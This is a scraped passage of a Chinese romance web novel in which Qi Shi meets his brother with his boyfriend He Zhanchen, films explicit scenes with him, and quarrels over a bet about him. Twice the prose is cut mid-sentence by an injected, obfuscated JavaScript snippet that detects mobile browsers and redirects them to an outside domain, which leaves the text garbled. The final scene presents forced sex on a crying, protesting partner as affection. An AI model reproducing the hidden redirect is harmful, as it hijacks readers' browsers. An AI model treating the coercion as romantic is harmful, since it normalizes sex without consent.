戚铭简直没眼看,别过头,一个劲儿地揉眉心。 他不知道老二这是谈对象还是带孩子,但老二自己倒幼稚得像个三岁小孩儿,区区几道菜,几盅汤,只因食材珍稀昂贵了点,随便一家米其林就能点到的菜,全都献宝似的捧到对方面前,生怕对方漏掉了哪一口。 人家豪门阔少从小到大什么好吃的没见过? 戚时这副殷勤讨好的样子,连他这个做菜的人都要觉得羞耻。 想到他跟瞿岳,他们差了十五岁,他都没把人家照顾到这种丧心病狂的程度。 而且—— 戚铭看出来了,对面的少年似乎也有些不耐烦。 只是强压着脾气没说。 只有他这个傻弟弟一个人沉浸在自己所谓的幸福里。 戚铭旁观者清,知道戚时脾气犟,不撞南墙不回头,他这个当哥的就算劝了,戚时也只会更加不耐烦,说不准还会把那小鬼头更当个宝,守得更紧了。 一顿饭吃得神经紧绷。 饭后收拾餐桌,戚铭给何湛程递了个眼神,何湛程会意,扭过头,扯了下戚时的袖子。 “二哥,你收拾桌子吧,我跟叔叔聊一会儿。” 戚时立刻起身,熟练一捋袖子,点头说:“行!” 戚铭又傻了一下。 他那意思是让何湛程把戚时支开,他留在厨房,让何湛程陪他说会儿话。 戚时虽然出生在穷苦人家,但他这个做哥哥的从头至尾都从未曾亏待过这小子。 这个他拿真金实银富养起来的贵弟弟,长这么大,吃穿用行,精致又奢华,十三四岁就懂得护肤保养了,哪怕是体育生,皮肤仍清透白亮,流过汗水,洒过血水,但什么时候碰过刷锅油水? 何湛程冲他一挑眉:“怎么了?” 戚铭摇头笑:“没怎么,你的话比我的话要管用。” 戚时人生头一遭系上围裙,当着哥哥和男朋友的面,逆天长腿站在餐桌旁,高高的个头,伸出两只筋脉突起的修长小臂,一脸认真地收拾残羹剩饭。 然后趁着何湛程和戚铭转身离开,自己从冰箱翻出个崭新的乐扣饭盒,冲两下水,把盘子里剩的辣卤鸡爪打包了。 跟着戚铭走去阳台,何湛程见对方反手将门关紧,不禁微微一笑。 两手插兜,昂起下巴,看向戚铭:“你是来劝我和他分手的?” 戚铭和他对视一眼:“不是,你大概不了解我,我一向不干这种无聊的事。” 何湛程“哦”一声,耸耸肩,又以为戚铭是来问罪的,解释说:“那天是你先对我不客气的,我礼尚往来罢了。” 戚铭摇摇头,说:“也不是这个。” 何湛程又“哦”一声,探寻的视线扫过戚铭淡然的脸,忽地一转,隔着玻璃门,一眼望向穿梭在客厅和厨房的男人。 那人正小心翼翼地摘了右腕上的佛珠手串,裹上纸巾揣兜里,然后扭身端脏盘子。 一身罗意威的棉白T恤和灰色束腿卫裤,很显年轻,身材高大,干活利落,整个人容光焕发的,很帅。 也很值得被一个人长久地爱。 “你是……”何湛程顿了顿,忍不住伸手挠了挠头,有点心虚地问:“想让我永远不要和他分手?” 戚铭笑了声:“不是,可如果你不介意,我以后就叫你湛程吧。他从来没往家里带过朋友——我指的是,不止男朋友或者女朋友,他从没往家里带过‘朋友’。” “虽然就像你说的,我不是很看好你们两个,但我不打算插手你们的事,而且显而易见,他很喜欢你,我就算插手也没用。” “所以,我觉得我们两个最好能变得亲近点儿,无论你们结果如何,我希望我们都可以像家人一样常联系。” 何湛程无所谓道:“随便你怎么叫,反正我是不会改口了。” 戚铭笑起来:“你来燕京之前,你大哥提前跟我打过招呼了,不过我这两年不太管事,公司的一切都是戚时在负责,我以为派人接待你几天就没事了——嗯,戚时当时应该也这样想的,他甚至都没跟我提起你具体什么时间来的,我就没太在意你们两个。” 何湛程呵呵一笑:“难道不是因为你们本身就没把我当回事么?” 戚铭答得从容:“这些不是重点,我只有一句话要问你,你们两个,是你先开始的吧?” 何湛程坦然:“是我先追的他,那又怎样?” 戚铭点点头,说:“那我能否向你提出一个请求?” 何湛程:“你先说。” 戚铭笑:“站在老二的立场,你们能一起走到最后当然最好,但如果有一天你真的厌倦了——抱歉,我说话有点直白,我认为先提出分手的人应该是你,所以我希望你能采用温和一点的方式收尾。” 何湛程挑眉:“怎么样才算温和?” 戚铭笑得谦逊:“我不知道,我虽然交往过很多人,但还没辜负过谁。” 何湛程:“……” 双手抱臂,不爽地瞪他一眼:“说得跟你弟弟就是什么好人一样,你要不现在去问问他,他心里除了我,是不是还在惦记着别人?” 戚铭回得也很坦然:“所以说,从某种程度上,你们还是有点儿般配的。” 何湛程脸色一沉。 戚铭没否认,他心里不禁感到一阵的孤独和难过。 一个在他施压之下才肯带他回家的、看似深情却并不完全忠诚于他的男朋友; 一个毫无底线和道德观的、一味溺爱弟弟的、男朋友口中所谓的唯一的家人。 这俩缺德兄弟就欺负他何湛程无依无靠,没人在京城给他撑腰,才自以为是地命令他、拿捏他! 何湛程喉中泛酸,忍不住出言讥讽:“哼,他惦记的那个小男生和你住一个小区呢,你不用着急,很快你就能见到他第二个带回家的男朋友了。” 戚铭轻轻“嗯”了一声,一脸笑意地挥着手,扇了扇二人之间的空气。 何湛程不解:“你干嘛?” 戚铭一本正经:“我闻到一股醋味,好酸,好酸。” 何湛程彻底臭了脸,转身拧门就要回屋。 身后人笑道:“湛程,如果你愿意再多了解他一点,你就会明白,他会喜欢每一个喜欢他的人。” 何湛程脚步一顿,气笑了:“怎么?我现在应该为他的滥情而欢呼吗?” “不,”身后人解释,“他只是喜欢被别人放在心上,并不是特殊惦记某一个谁。” “戚时小的时候性格很孤僻,没人愿意陪他玩儿,青春期的时候,他大概是从一些爱慕者那里获得了安慰,后来就变得特别喜欢谈恋爱,这些都是人之常情。” “什么人之常情?”何湛程唾弃道:“像这种幼稚又无聊的把戏,我才不会在意!” “那是因为你什么都有。”戚铭不客气道。 “所以呢?”何湛程紧皱着眉头看他:“你想表达什么?就因为他自己没长好,就要本少爷去牺牲和包容吗?大叔!他都快三十了!” 大叔也很头疼,不住地用力捏着太阳穴,解释道:“我明白你意思,但木已成舟,你以为我没有试图改变过他吗?我只是想告诉你,对戚时来说,如果在一段感情里他没有被人坚定地选择,他就要找另外的人来确保他是值得被爱的。” 何湛程蹙眉更紧:“你少来,他跟我在一起,我什么时候委屈过他?” 戚铭摇头:“我不知道。” 何湛程却忽然意识到什么。 不愿再跟戚铭聊,转身抬手,推门进屋。 他安静地望着站在厨房门口,良久。 戚时洗完手,走出来摘围裙,见他望来,弯眼冲他一笑。 何湛程心里又觉得很踏实,冷若冰霜般的面容缓缓融化,他也冲对方笑了一下。 他想,还是他二哥好。 他二哥是行为上的人,抽几支烟、喝两瓶酒能翻篇儿的事,二哥能自己消化,就绝不会提出来影响他们的感情。 戚铭就不一样了。 自以为知晓事理,无论大小事都要摆在明面上细细地剖析一番,理论充分,客观鲜明,说得头头是道,但那有什么用? 戚铭活这么大年纪,难道不知道两个人谈恋爱就要稀里糊涂的谈才能维持下去么? “聊什么呢?”戚时擦着手,一脸笑意地走过来问他们。 “没什么,”何湛程一把挽住他的胳膊,笑道,“你哥说你读书的时候有很多人追,弄得我有点吃醋呢。” 戚时笑了声,扭头冲戚铭说:“哥,你少跟他提这些,他要是听进心里了,回头真吃醋起来,我可弄不了。” 戚铭微微点头,笑道:“知道,我们就是随便聊聊。” 午后,三人吃着茶点,坐在客厅闲聊。 既然何湛程在场,话题免不了要提及何家老爷子和上面的两个哥哥,自从年前那场闹剧,何湛程的父亲何澜称病隐退已有大半年,何家里里外外,全是何老大一个人在做主。 何老大在京城开的有公司,并非何氏集团注资,而是何闽轩独立的门户。在认识何湛程之前,戚时曾经有几次尝试和对方接触,但来回拉扯好几年,合作的都是些上不了桌面的小项目,八百年见不着一次真正管事的,戚时唯一一次见到何闽轩,还是被何湛程气得冲昏了头,以一个受害者的身份,跑去人家的家里逮人。 戚铭就告诉戚时得空了,要多带点礼物,跟着何湛程会沪上去拜访一下何澜他老人家。 戚时应声称是。 何湛程撇撇嘴,很是不屑。 他知道戚铭的意思,这是要戚时趁着正和他何老三恋爱,赶紧上门去巴结一下他老子,好让擎荣集团也跟何家沾点儿关系,往后在生意场上行走方便些。 之前擎荣和盛铭的合作,不止影视项目,俩家集团要合作开发新地产、炒热景区旅游项目,同时也注资沿途大量商铺,餐饮、出租、酒店、施工建造等等,涉足领域甚广。 何湛程看出来了,戚时虽然厌倦娱乐圈,但显然也会利用“娱媒行业大佬”身份的便利性对外积极拓展其他业务。 戚时在做这些事时,大概是很有成就感的。 何湛程想,所以这人才会在自己提出要带他回纽约时,很干脆利落地拒绝了自己。 一个在学生时代读书很差、为了考学才半路出家的、受尽身体和精神双重折磨的体育生,如今身在高位,手握资源无数,只需在酒桌上说几句话、敬几杯酒,就可以拿着千万乃至上亿的资本同当今各行业的大佬们谈笑博弈,取得一次又一次辉煌成就,受万人瞩目和敬仰,如此声名赫赫,威风八面,早已成为一代传奇人物,这人怎么会真的说舍得就舍得? 怎么会为了区区爱情就放弃一路拼搏出来的名与利,放弃召之即来的繁华富贵 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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何湛程脸上微红,别过头没吭声。 戚时见他不好意思起来,不禁心跳加速,眼神愈发如痴如狂。他埋下头,将何湛程整个人包裹起来,紧紧压在自己大腿上,凑在对方脸庞啄了一口。 “程儿……”他嘴唇贴在对方脸边耳畔,悄声说:“你怎么这么好啊?嗯?哥的小乖兔崽儿,嘬嘬嘬,小兔崽儿,你怎么这么好啊?” 何湛程无语,他察觉这货跟喝多了一样,他们只是很平常地抱一下,戚老二下面就开始有反应了。 而且是非常硕大的、几乎要冲破天的反应。 何湛程连忙扭头望一眼厨房,压声提醒:“大哥,你别乱发情行不行,要做回家做,不然让你哥看见了,咱俩多丢人!” 戚时纹丝不动,下巴垫在他肩上,冲他耳边吹了口气,说:“程儿,哥想给你拍一段录像,行么?” 何湛程一愣。 不是,就凭当下这状况,戚时突然说要录像,那就绝对不是什么正经的片啊。 何湛程不乐意。 回想起这几天和戚时的种种摩擦,他就更不乐意了。 “少放狗屁,”他大力将人推开,转身坐到沙发另一头,说,“不拍。” 戚时随即黏过来坐他旁边,牵起他手,低头把玩着他每一根手指,不太满意地说:“你之前还给我送拍立得呢。” 何湛程冷哼一声:“我主动给你可以,你自己要求不行,你把我当什么?你前女友们也配合你拍这些?” 戚时摇摇头:“我只对你一个人动过这种念头。” 何湛程“哟”一声,气笑了:“我是不是该谢谢你啊?” 戚时抬眼望他,渴盼又委屈,欲言又止。 何湛程一顿,他有点招架不住对方这么纯情的目光。 可这明明是一个如此荒*淫无礼的要求。 在遇到戚时之前,他可是连被人拍床|照都要发飙骂人砸手机的。 对视不过五秒,他败下阵来。 反握住身旁人的手,与对方十指紧扣,双眸认真注视着戚时,说:“我可以答应你,但你欠我一次,以后哪天我向你提出一个过分的要求,你也得无条件答应我。” 戚时毫不犹豫地点头:“行!” 何湛程伸出手,勾起小指,瞟他一眼,示意道:“过来,拉勾。” 戚时嘴角翘起,嘀咕了句“真幼稚”,身体诚实地靠近过去,也伸出自己的小指。 两只成熟男性虚握着的手挨到一起,扁薄手背泛着淡淡的青筋。 两根骨节分明的修长手指勾缠在一起,在半空有节律地来回晃荡。 “拉钩上吊,一百年不许变,谁变谁是——” 话到一半,何湛程勾住的手指忽地脱离出去,戚时歪身笑瘫在沙发上,肩膀一耸一耸的,笑得根本停不下来。 何湛程莫名其妙,没忍住也跟着一笑,眉眼弯弯地问:“怎么了?你笑什么啊?” 戚时笑得喘不上气,他抬手擦掉眼尾挤出的泪,清清嗓,找回点自己的声音,断断续续地跟人解释道:“我跟你说,我、我小时候,我在一边看着他们、看他们玩儿这种一边、哈哈哈哈一边做动作一边喊口号的游戏,我当时就觉、觉得他们都特傻帽儿哈哈哈哈!现在我居然也玩这种,哈哈哈果然傻到没边儿!” 何湛程:“……” 眉心一沉,望着倒地狂笑的人,整个脸部额骨都绷得很紧。 “戚时。”连后牙槽都咬得很用力。 “……哈哈哈哈哈咳咳,咋了?” “你才是傻到没边儿。” 活将近三十年,连一个和你拉勾的人都遇不到,你才是傻到没边儿。 戚时笑够了,抬手抹了把快要笑僵的脸,正要起身,不经意一抬眼,见何湛程坐在那里,一动不动地盯着他。 戚时沉默几秒,终于觉得尴尬。 一骨碌从地上爬起,他重新坐回沙发,挨到何湛程身旁。 再一次伸出小手指,他冲人一笑:“程儿,我们再来一次吧。” 何湛程却不再动作,说:“不来了。” 戚时诧异一挑眉:“怎么?不是说让我答应你一个条件么?” 何湛程不答,站起身,径自朝厨房走去。 “你哥动作真慢,我去看看他弄好了没,他烤蛋糕那技术是跟西点师傅新学的,你还没尝过吧?趁热吃最好吃,待会端过来了,你先吃两个,吃饱了咱们再回家。” “晚上我们就不吃饭了。” “为啥?” “晚上我陪你玩儿。” 60.第60章 何湛程本身是不喜欢穿衣服的,正所谓“人本赤裸”,频繁换的发型,新潮酷帅的时装,都比不过每晚光着身子在家里乱窜的时候自由自在。 搬到戚时家以后,何湛程这份独特的潇洒就没了,虽然王姨每晚做完饭就走了,但戚时热衷于搜集各种各样情侣装,说白天在外面不方便穿,晚上就在家里穿。 偶尔,戚时会拿来一些布料少得可怜、只有后颈和臀*部缠着绸缎丝带的东西给他,二人翻覆云雨时,那人在他身上扯来摸去,故意将那丝带系在他手腕、腰间和腿上,令他动起来困难,又被刺激得不得不动。 何湛程之前从未穿过那种东西,他一向是命令别人穿的那个人,但想到戚时也一样,那人却肯在床笫间放下身段,甘愿委身为他增添情|趣,他对此也没什么话说了。 这晚回到家,何湛程在浴室洗澡,戚时不知从哪拿来十来件新款式的摆在床前,等何湛程擦着头发,赤身推门迈出来时,那人已经举好摄像机,站在门口迎接他。 “程儿,”镜头后面人紧紧盯着他,咽了咽吐沫,“先把头发吹干,不然着凉。” 何湛程瞟了眼镜头,“切”一声:“你都这么迫不及待了,还在乎我吹没吹头发?” 戚时眼神炽热:“在乎的。” 何湛程嘴角又翘起,说了句“行吧”,转身走进浴室,去拿吹风机。 戚时默不作声跟了进去,关上了门。 吹风机一开,室内呼呼的,何湛程站在镜前,清楚地观察到自己身后某个眼底发红的死变态,举着镜头缓缓蹲了下去。 “程儿,”镜头从身下仰望他,“腿|很好看,再分开点。” 何湛程脸上一红,有点不太自在。 如果在亲热时,随便戚时怎么对他,可现在这样……他整个人都在发烫。 没吭声,快速吹干头发,只管照着对方的话做。 “程儿。” 那人蹲在地上,伸手握住他。 …… …… 何湛程闭眼仰着头,身体颤颤地贴着背倚靠在墙角,快要站不住。 “你爱我吗?” “你、你觉得……你觉得我们现在这样,合适问这种问题吗?” “那你爱我吗?” “我不爱你,我配合你拍这种东西?” “程儿,我不要听反问句,我要听肯定句。” …… …… 何湛程不敢看身下人,有些羞愧地别过脸去。 “我、我爱你。” 戚时满意地笑了。 他舔掉嘴角xing热的液体,俯身压上,手指摩挲两下对方的脸,哑声道:“乖崽儿,出来换衣服,我在外面等你。” 何湛程清咳一声,点点头,应了声“好”。 戚时在他臀后使劲捏了一把,收好第一段录像,缓缓退离。 何湛程却突然一把抓住他手腕,抬起湿漉的眼睛,问他:“那你呢?你爱我吗?” 戚时回头,诧异一挑眉:“我当然爱你,这还用问?” 何湛程一愣,张了张嘴:“那为什么……” 那为什么我爱不爱你,你就要反复问呢? 第二段录像,一件透明白衬衫。 前面春光无限,透得胸腹沟壑一览无余,纽扣只有两颗,露着肚脐,后背完全镂空着,悬着六条闪着玉润光泽的、大小完全一致的圆珍珠链。 戚时说,即便是一次性的玩物,这也都是真的珍珠链,因为舍不得让他家金尊玉贵的少爷穿次品,而且只有真珍珠,才能衬出何湛程那一副白皙漂亮的脊背。 何湛程换好衣服,赤脚立在镜子前,扭脸看向镜头,笑了下:“二哥,我漂亮吗?” 戚时滚动着喉结,透过镜头和他对视:“宝贝儿,你最漂亮了。” 何湛程笑得勾魂,冲镜头做了个鬼脸:“才不信你!” 戚时也笑:“真的。” “那我问你,”何湛程缓步朝他走来,“你最喜欢我身上哪个地方?” “腰。”戚时脱口而出。 何湛程勾起嘴角,冲人撩开衣摆,扭着腰晃了两下,问:“这样么?” 戚时口齿喉咙干涩,鼻腔一阵涌流。 何湛程俯身凑近过来,眨眼望他:“诶,问你呢,怎么不说话了?” 将相机放到一边,戚时呼吸粗重,抬起赤红双眼,扑身过去就要抓他。 何湛程一笑,闪身躲了开。 “急什么,不拍这套了吗?” “别躲。”戚时追过来,没轻没重地将他摁在床上,急不可耐就要扒了他。 何湛程缓缓闭眼享受,双臂缠住戚时肩颈,低声说:“戚时,这段录像,回头也发我一份。” “程儿,”戚时贪婪地吸吮着他脖颈,“我后悔了。” “后悔什么?” “我后悔说给你自由了。” “哼,早说过你是骗子。” “你是我的。”怀里人爬上来,拱着头使劲蹭他脸,“你是我生的崽儿,我不许你再跟别人好,不许你再和别的人上床。” “笨蛋,”何湛程不轻不重打他一下,“我现在在和你上床。” “我说以后……” “以后也和你上床。” “那以后的以后……” “以后的以后也和你上床。” 何湛程喘息着,仰起上半身,与对方交缠舌吻。 “傻瓜,”他话音含混,“你长这么帅,怕什么?” 戚时闷声笑起来,潜伏下身,纵情沉沦在怀里人的身体与调戏声里。 …… …… 共浴,摄像机架在一旁,浴缸放满铺着玫瑰花瓣的水,戚时拿来剩下十来件真丝、蕾丝、网纱、一撕就破的制服、露*裆四角裤……坠着流苏的碎片布料,何湛程整个人臊得通红,俩人洗得口干舌燥,泡在水里,却近乎脱水,快天亮了才坐在楼下客厅喝茶。 何湛程戴着长耳兔的发箍,雪绒绒的,低头握着茶杯吹热气。 戚时举着摄像机蹲在茶几对面,笑吟吟地看了很久,忍不住夸他:“真可爱。” 何湛程瞟一眼他的镜头,蹙了下鼻头:“我还没找你算账呢,那会儿在床上,谁是你生的?” 戚时笑容可掬:“我就是太喜欢了,喜欢得恨不得生你。” 何湛程撇撇嘴:“不要脸。” 戚时笑眼望他:“来,你卖个萌。” 何湛程自顾自伸脚丫子过来:“不要,我想踩你脸。” 戚时镜头一晃,抬一只手握住他脚踝,亲了亲他的脚心:“待会儿回房给你踩,你先给哥卖个萌。” 何湛程打了个哈欠,盘腿坐在沙发上,双手握着茶杯,态度敷衍地冲对方“喵喵”叫了几声。 戚时笑得一脸陶醉,正要出口表扬,忽地又纳闷问:“兔子也叫‘喵瞄’?” 何湛程一本正经:“我们这种一米八八的大兔子是这样叫的。” 戚时摇头:“不行,你现在是兔子,你就得学兔子叫。” 何湛程抗议:“我又没养过兔子,我怎么知道兔子怎么叫?” 戚时挠挠下巴,说:“我记得,好像跟杀猪叫差不多。” 何湛程直接抄起拖鞋投过去:“滚!” 戚时爽声笑起来。 举着摄像机指点,让他的小兔崽趴在沙发上换了几个姿势,很是拍了一些雅照和不雅照。 何湛程很困了,但刚在浴室经历过各种花式十九×,前列腺都恨不得被人扒出来拍几秒近距离特写,眼下虽然有点累,所幸戚时要求不高,他也就耐着性子配合。 “戚时,我告诉你啊——” 何湛程倒立式躺在沙发上,两条长腿勾着靠背,腿间夹着两个米白色的抱枕,后仰着脖子,看着镜头说:“你是第一个这么玩儿我的人,但凡本少爷再小个一两岁,你监狱都能蹲穿了。” 戚时笑了声,缓步走过来立在他面前。 二人天地旋转,只能看到彼此光洁白皙的下巴。 戚时缓缓俯身下,仅有毫厘之距,镜头对准他的脸,笑道:“是吗,那我好怕啊。” 何湛程也笑,抬起一条腿,勾着脚趾夹住戚时额前头发,揪着晃了晃,说:“你啊,你看我这么喜欢你,你以后也要多疼我一点,知道了吗?” 戚时笑问:“我还不够疼你?你这么调皮捣蛋,还要我怎么再疼你?” “嗯……”何湛程想了想说,“你叫我一声‘老公’听听?” 戚时想也不想就抗议:“不行,现在外面人已经够误会我的了,老子还要脸呢!” 何湛程思量几秒,说:“那你叫我哥哥。” 戚时这次挺爽快:“哥哥。” 何湛程满意了,伸手揉了揉对方头发,说:“乖,小朋友。” 戚时一挑眉:“怎么又是小朋友?” 何湛程眼尾一折,笑望着他:“不然呢?我叫你小猪?” 戚时没忍住笑,说:“你才是小猪。” 关掉摄像机放茶几上,戚时坐进沙发里,一把将何湛程捞起来放腿上,埋头在人肩窝拱着:“你是小香猪,小懒猪,小聪明猪,小坏猪,小尾巴猪,小粉猪。” 何湛程笑得咯咯的,揪着戚时身上的浅粉红T恤,说:“你才是小粉猪。” 他们穿得情侣装,纯色的浅粉和水蓝,宽松的版型,左胸口印着一串法文刺绣海豚形状的半弧LOGO,两条遮到膝盖的黑色短裤。 戚时刚拿出来时,很自然地就把粉色那套递给何湛程,何湛程呵呵一笑,格外不爽戚时满脑子“年纪小,爱撒娇,皮肤白,就要穿得粉粉嫩嫩”的刻板印象,把这套粉T恤摔回人脸上,说戚时穿粉其实更显白,肩背看起来也比穿黑色更宽、更有男人味,某个好糊弄的大傻个儿就美滋滋地穿上了粉。 不过,何湛程猜测戚时也明白他什么意思。 刚才在戚时给他戴上兔耳朵的时候,他还以为这一套要穿女仆装,没料戚时只是单纯想让他戴上这个发箍,说,这就足够可爱了。 “过两天院儿里再给你弄个秋千,种点儿芍药、鸾尾、小苍兰什么的,我给你编花环戴头上,肯定比这个还好看。” 快天明了,窗外晨曦显露,戚时帮他摘掉发箍,放进床头抽屉。 “啪”的一声,抽屉合上,二人阖眼相拥而眠,终于结束这一晚荒唐、更荒*淫的录像拍摄。 戚时缠臂搂着他腰,困倦地枕在他肩头,突然说了句没头脑的话。 “程儿,你是土。” 何湛程不客气地反击:“你是土,你才土,你全家都土,土包子!” 戚时噗嗤一声笑出来。 睁开眼,满目柔情地望着怀里人,啄一下对方的耳垂,用很小很小的声音讲:“程儿,你是土,我的心种到你那里面去了,可能有时候你和我在一起会觉得疼,那是我在发芽呢,你不要害怕。” 何湛程一顿,也埋头抱着他,回应道:“戚时,我的心里面是空的,你住进去的时候,可能有点黑,你也不要害怕。” 戚时点点头,说:“我不害怕,虽然土里面很黑,但是水分足。” 何湛程脸上腾地一烧,抬腿踹给他一脚:“你真是够了!” 戚时吃痛闷哼一声,刚袭遍全身的困意登时又烟消云散。 他整个人清醒过来,沉着眼眸,一动不动地盯着怀里人。 何湛程察觉对方反应,霍地睁眼,“靠”了一声:“大哥你不是吧?一夜九次还没够呢?” 戚时不管不顾地压过来,逮着他就一顿猛亲:“渴了,想喝水,喝水,喝水,喝水喝水喝水喝水!” “起来啊!啊啊啊起来!去去去!滚开!滚开啊!!” 何湛程感觉自己今夜已经被榨干了,吓得连忙裹起被子,手脚并用,没命地绕着四方床角乱爬,不住向身后驱散着:“滚开!滚开滚开滚开!” 戚时盯着对方卷成的那一坨鼓包,深眸沉沉,喉间干涩,反而追得更兴奋。 “站住!你越跑,待会儿就越有你好受的!” “放屁!你敢过来,我不跟你睡了!” “你敢不跟我睡?你再说一遍?!” “滚滚滚!不跟你睡!不跟你睡!” 俩人正你追我赶的闹腾着,不知谁扔在床头的手机,突然嗡嗡震动个不停。 俩人动作一停,对视一眼。 下一秒,GD最新专辑曲的前奏在寂静空中响起。 何湛程“哦!”一声。 这是他的手机铃。 戚时一顿,想起什么,突然抢先何湛程一步,伸手夺过电话。 “让我看看,什么人才会在大早上六点多给你这个不用上学也不用上班的人打电话。” 何湛程无语地翻了个白眼。 戚老二这还是不放心他呢。 戚时看一眼来电显示: 天字一号大傻叉(何棣坤) 紧提的心放松下来,把手机递给何湛程,憨声一笑:“你家里人。” 何湛程骂了他句“神经!”,盘腿坐直,清清嗓,接起电话。 “喂?” “老三,今天醒挺早啊?” “废话,这不是你打电话了么?” “哦,”那边问,“你在哪儿呢?” 何湛程正要答,戚时挪屁股蹭过来,挨着身旁人坐好,伸头冲电话那边人说:“他在我旁边。” 何棣坤“哟”一声,惊叹道:“弟夫啊,你还在呢啊!真是意外,这都快小半年了吧!看来我那飞机没白给啊!” 何湛程听着不太对劲,眉梢一挑,小声问戚时:“他意外什么?那个飞机,你不是说他是认为我们会在一辈子才给的么?” 他毕竟是个喜欢到处野的年轻人,即便有男朋友,偶尔也会控制不住自己的心乱飞,他肯长期和戚时维持、花心思经营这段关系的其中一个重要原因,是因为家里人都觉得戚时挺好,这令他觉得很有安全感,他才放心和人同居的。 他也觉得自己眼光不错,内心不时会为找到这样一个近乎完美的男友而得意,可现在又不知道这帮人在闹什么幺蛾子,让他突然有点慌。 戚时没答,扭着脸对电话问:“你有事儿吗?没事儿老子还要办正事儿。” 何棣坤哈哈一笑,说:“行,正好你在,没什么大事儿,就是听说我家那个最近跑去京城玩儿了,待会儿我发你酒店地址,你多派人帮我盯着点儿,别让人碰他。” 何湛程一听这,噗嗤乐了,在旁边插嘴:“何老二你是不是大傻叉?人家又看不上你,他老子都把你关局子里了,你还惦记着呢?” 何棣坤理直气壮:“那咋啦?难道要老子眼睁睁看着他给我戴绿帽子吗,那才是大傻叉呢!” 戚时对何棣坤和他曾经恋人的恩怨情仇略有耳闻,不过他没兴趣打探太多,举手之劳的事,何棣坤是他二舅哥,他没道理拒绝。 戚时点点头,应声说:“知道了,我吩咐底下人去办。” 何棣坤那边道了谢,俩人寒暄几句,正要挂电话,何湛程顿了顿,突然一把从戚时手里夺过手机。 何湛程眼睛直勾勾盯着戚时,对何老二问话:“那个飞机,你给我解释解释,怎么就成戚时的了?” 何棣坤嘻嘻笑:“我这种路人乙哪里知道啊,你问你家二哥啊!” 何湛程:“……” 对方越是这种回避态度,他就越要上火:“少废话,我说正经的呢!” 手机那头:“少废话,我说正经的呢!” 何湛程气得头疼:“何棣坤!” 手机那头也喊:“何棣坤!” 何湛程一键挂断电话顺便把人电话微信短信国内外全部社交平台都拉黑。 然后直凛凛地抬起头,将问题抛给戚时。 “回答我,不要让我问第二遍。” 戚时装聋作哑,扑过来他怀里,翻腾几下调整好睡姿,闭眼枕在他大腿上,说:“我困了。” 何湛程沉下脸:“你瞒着我什么?” 戚时没奈何又睁眼,认真仰视着他:“程儿,那只是一个不重要的小赌约,我顺口答应他的,这件事本身没任何意义,可如果一旦说出来,就又会显得事情大了,你明白吗?” 何湛程皱起眉头,心里隐约感觉这俩人背着自己没干好事。 他问:“所以呢,你们拿着我打赌了?” 又很聪明地反应过来:“你赢了,他送你一架飞机。” 戚时点点头,闭上眼说:“既然你猜出来了,那就到此结束吧。” 何 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15628770|168801||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 湛程心中不悦,插着两根手指又把他眼皮强行扒拉开,不让他睡。他问:“你们赌得我什么?” 戚时犹豫几秒,望他:“我说了,你就别生气。” 何湛程不置可否:“你先说。” 戚时坚持道:“也不能说跟我分手。” 何湛程点点头,说:“这个答应你。” “是你二哥先说的。” 戚时本着死道友不死贫道的精神,语速飞快地说:“他说,你们何家人就没有做受的,他自称很了解你,说你从来没有过那方面的经历。” 何湛程立刻就懂了。 胸腔登时升腾起无限的厌恶,他咬着后牙槽笑起来:“然后呢?你为了显摆自己多能干,就这么拿着我的第一次、拿着我和你在床上那点破事和他做交易了,是么?” 戚时吓得连忙坐起身,认真辩解道:“不是!绝对不是!那都是话赶话,我根本没把他这话当回事儿!” 何湛程干脆笑出声来,然后一把抄起枕头砸他脸上,冲他怒吼道:“少他妈找借口!如果你没把他这话当回事,你根本就不会要他的东西!你要了他的东西,就证明在你心里,我何湛程只是你戚老二可以在牌桌上用来和别人下注的玩物而已!” 戚时又气又急,大声解释道:“我说了,这件事本身没有任何意义!我平时怎么对你的,你难道自己心里不清楚?我简直恨不得把心都掏出来给你看,你为什么总是要纠结这些有的没的!” 何湛程怔了下,他原以为戚时会道歉认错,没料到对方居然是这么一副死不悔改的态度,瞬间气得要疯,蹭地一下站起身,不管不顾冲他吼:“我不清楚!我什么都不清楚!这世界上要给我心的人多的是!我才不缺你那一颗朝三暮四的破烂心!你的心才值多少钱?你的心!还没你拿我换来的那架飞机贵!” 戚时见何湛程还是发火了,心里一慌,生怕人一怒之下就跑了,二话不说,猛地扑过去将人抱住,几乎是碾压式,硬生生将何湛程嵌入怀里,一边堵着人嘴唇激烈强吻,一边脱他衣服。 “我认输,我错了,我错了还不行吗?” “这件事全都是我的错,乖,来跟哥做一场,我们做一场就都好了。” 何湛程心口猝然一阵绞痛,他忍不住鼻头泛酸,泪液从眼尾滑落,洇湿鬓角。 身上人的吻强势又急促,他呼吸紊乱不畅,心脏很快震恸起来,整个人被*得一抽一抽的,毫无反击之力。 可他现在不想和戚时有任何接触。 “二、二哥……”他蠕动着身子想逃,腰间扭动,腿也挣扎着,低语服软,企图令人放过他,“我……我有点痛……” 戚时却将这视作对方原谅他的回应。 他低头一笑,手指撩开怀里人的刘海,万般怜惜地吻过何湛程的额头、眉心、鼻梁,无比迷恋地侵入他的唇齿。 “乖崽儿忍着点,哥再多gan你两次就不疼了。” …… …… 何湛程双眼失焦,身子颤动着,望着头顶模糊的虚空,细声微弱地问:“戚时,你不是喜欢我,你只是喜欢和我上|床吧?” “戚时,你这样低贱出身的人,没想过自己有一天可以在床上这么作践我们何家的人,你心里其实很有成就感吧?” “戚时,有空了照照镜子吧,看看你算个什么东西?” 戚时身子一僵,愣在原地,心脏猛烈抽搐着,终于停下动作。 